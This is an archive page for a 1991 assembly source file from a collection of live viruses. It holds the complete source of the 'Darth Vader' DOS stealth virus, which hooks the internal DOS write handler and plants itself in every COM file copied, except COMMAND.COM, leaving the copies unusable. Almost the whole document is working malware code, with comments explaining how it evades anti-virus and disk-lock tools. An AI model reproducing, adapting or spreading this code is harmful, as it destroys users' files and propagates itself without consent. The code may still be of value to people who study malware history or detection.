home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / darth1.asm < prev    next >
Assembly Source File  |  1991-02-16  |  5KB  |  164 lines

  1. ;*******************************************************************************
  2. ;*                                           *
  3. ;*           D A R T H   V A D E R   -  stealth virus               *
  4. ;*                                           *
  5. ;*     (C) - Copyright 1991 by Waleri Todorov, CICTT                   *
  6. ;*     All Rights Reserved                               *
  7. ;*                                           *
  8. ;*     Virus infect ANY com file exept COMMAND.COM. He use iternal DOS       *
  9. ;*     dispatcher for int21 functions, so it cannot be stoped by programs    *
  10. ;*     like ANTI4US etc... He also cannot be stoped by disk lock utilities   *
  11. ;*     because the virus use WRITE function (40h) of DOS' int21.             *
  12. ;*     Always when you copy COM file with DOS' 'copy' command or PCTools     *
  13. ;*     class programm, you will receive infected (destroyed) copy  of file   *
  14. ;*     Infected file won't work, but the virus WILL                          *
  15. ;*                                           *
  16. ;*                             Waleri Todorov           *
  17. ;*                                           *
  18. ;*******************************************************************************
  19.         nop            ; Dummy NOPs. Required
  20.         nop
  21.  
  22.         mov    ah,30h        ; Get DOS version
  23.         int    21h
  24.         cmp    al,5        ; If DOS is NOT 5.X
  25.         jb    OkDOS        ; Continue
  26. Exit                    ; else terminate
  27.         int    20h
  28. OkDos
  29.         mov    ax,1203h    ; Get DOS segment
  30.         int    2fh        ; Via interrupt 2F (undocumented)
  31.  
  32.         mov    si,9000h    ; Set ES to 9000
  33.         mov    es,si        ; Usualy this area is fill with zeros
  34.         xor    si,si        ; SI=0
  35. Next
  36.         inc    si        ; Next byte
  37.         cmp    si,0F00h    ; If SI==0xF00
  38.         ja    Exit        ; Then no place found and exit to DOS
  39.         push    si        ; else Save SI in stack
  40.         xor    di,di        ; ES:DI == 9000:0000
  41.         mov    cx,offset lastbyte-100h ; Will check virus size
  42.         repe    cmpsb        ; Check until equal
  43.         jcxz    Found        ; if CX==0 then place is found
  44.         pop    si        ; else restore SI from stack
  45.         jmp    short Next    ; and go search next byte
  46. Found
  47.         pop    di        ; Restore saved SI to DI
  48.         mov    cs:MyPlace,di    ; Save new offset in DOS segment
  49.         mov    [2],di        ; at DOSSEG:0002
  50.         mov    si,100h     ; SI will point beginning in file
  51.         push    ds        ; Save DS
  52.         push    ds        ; Set ES equal to DS
  53.         pop    es        ;
  54.         push    cs        ; Set DS=CS
  55.         pop    ds        ;
  56.         mov    cx,offset LastByte-100h ; Will move virus size only
  57.         rep    movsb        ; Do move
  58.         pop    ds        ; Restore DS (point to DOSSEG)
  59.  
  60.         push    si        ; From this place will search DOS table
  61. NextTable
  62.         pop    si        ;
  63.         inc    si        ; Next byte
  64.         jz    Exit        ; If segment end then exit
  65.         push    si        ; Save SI
  66.         lodsw            ; Load AX from DS:SI
  67.         xchg    ax,bx        ; Put AX in BX
  68.         lodsb            ; and load AL from DS:SI
  69.         cmp    bx,8B2Eh    ; Check for special bytes
  70.         jne    NextTable    ; in AL and BX
  71.         cmp    al,9Fh
  72.         jne    NextTable    ; If not match -> search next byte
  73. FoundTable
  74.         lodsw            ; Else load table address to AX
  75.  
  76.         xchg    ax,bx        ; Put table address to BX
  77.         mov    si,[bx+80h]    ; Load current offset of 40h function
  78.         mov    di,offset Handle    ; Put its offset to DI
  79.         mov    cx,5        ; Will check 5 bytes only
  80.         push    cs        ; ES:DI point handling of 40 in file
  81.         pop    es
  82.         repe    cmpsb        ; Check if DS:SI match to ES:DI
  83.         jcxz    Exit        ; If match -> virus is here -> Exit
  84.         mov    ax,[bx+80h]    ; else load offset of function 40
  85.         mov    [4],ax        ; And save it to DOSSEG:0004
  86.         mov    ax,offset Handle-100h    ; Load absolute address of
  87.         add    ax,cs:MyPlace    ; new handler and adjust its location
  88.         mov    [bx+80h],ax    ; Store new address in DOS table
  89.  
  90.         int    20h        ; Now virus is load and active
  91.  
  92. Handle                    ; Handle function 40h of int 21
  93.         push    ax        ; Save important registers
  94.         push    bx
  95.         push    cx
  96.         push    ds
  97.         push    es
  98.         push    si
  99.         push    di
  100.  
  101.         cmp    cx,270d     ; Check if write less than virus size
  102.         jb    Do        ; If so -> write with no infection
  103.  
  104.         mov    cs:[0C00h],ds    ; Save buffer segment in DOSSEG:0C00
  105.         mov    cs:[0C02h],dx    ; Save buffer offset in DOSSEG:0C02
  106.  
  107.         mov    ax,1220h    ; Get number of File Handle table
  108.         int    2fh        ; Via int 2F (undocumented)
  109.         mov    bl,es:[di]    ; Load number to BL
  110.         mov    ax,1216h    ; Get File Handle table address
  111.         int    2fh        ; Via int 2F (undocumented)
  112.  
  113.         push    di        ; Save table offset
  114.         add    di,20h        ; Now offset point to NAME  of file
  115.  
  116.         push    cs        ; DS now will point in virus
  117.         pop    ds
  118.  
  119.         mov    si,offset Command-100h    ; Address of string COMM
  120.         add    si,cs:[2]    ; Adjust for different offset in DOS
  121.         mov    cx,4        ; Check 4 bytes
  122.         repe    cmpsb        ; Do check until equal
  123.         pop    di        ; Restore address of table
  124.         jcxz    Do        ; If match ->  file is COMMand.XXX
  125.  
  126.         add    di,28h        ; Else DI point to EXTENSION of file
  127.         mov    si,offset Com-100h    ; Address of string COM
  128.         add    si,cs:[2]    ; Adjust for different offset in DOS
  129.         mov    cx,3        ; Check 3 bytes
  130.         repe    cmpsb        ; Do check until equal
  131.         jne    Do        ; If NOT *.COM file -> write normal
  132.  
  133.         mov    di,cs:[0C02h]    ; Else restore data buffer from
  134.         mov    es,cs:[0C00h]    ; DOSSEG:0C00 & DOSSEG:0C02
  135.         mov    si,cs:[2]    ; Get virus start offset
  136.         mov    cx,offset LastByte-100    ; Will move virus only
  137.         rep    movsb        ; Move its code in data to write
  138.  
  139. ; Now virus is placed in data buffer of COPY command or PCTools etc...
  140. ; When they write to COM file they write virus either
  141.  
  142. Do
  143.         pop    di        ; Restore importatnt registers
  144.         pop    si
  145.         pop    es
  146.         pop    ds
  147.         pop    cx
  148.         pop    bx
  149.         pop    ax
  150.  
  151.         db    36h,0FFh,16h,4,0       ; CALL SS:[4] (call original 40)
  152.         ret                ; Return to caller (usualy DOS)
  153.  
  154. Command     db     'COMM'           ; String for check COMMand.XXX
  155. Com        db    'COM'           ; String for check *.COM
  156.  
  157.         db    'Darth Vader'   ; Signature
  158.  
  159.  
  160. LastByte    nop            ; Mark to calculate virus size
  161.  
  162. MyPlace
  163.         dw    0        ; Temporary variable. Not writed
  164.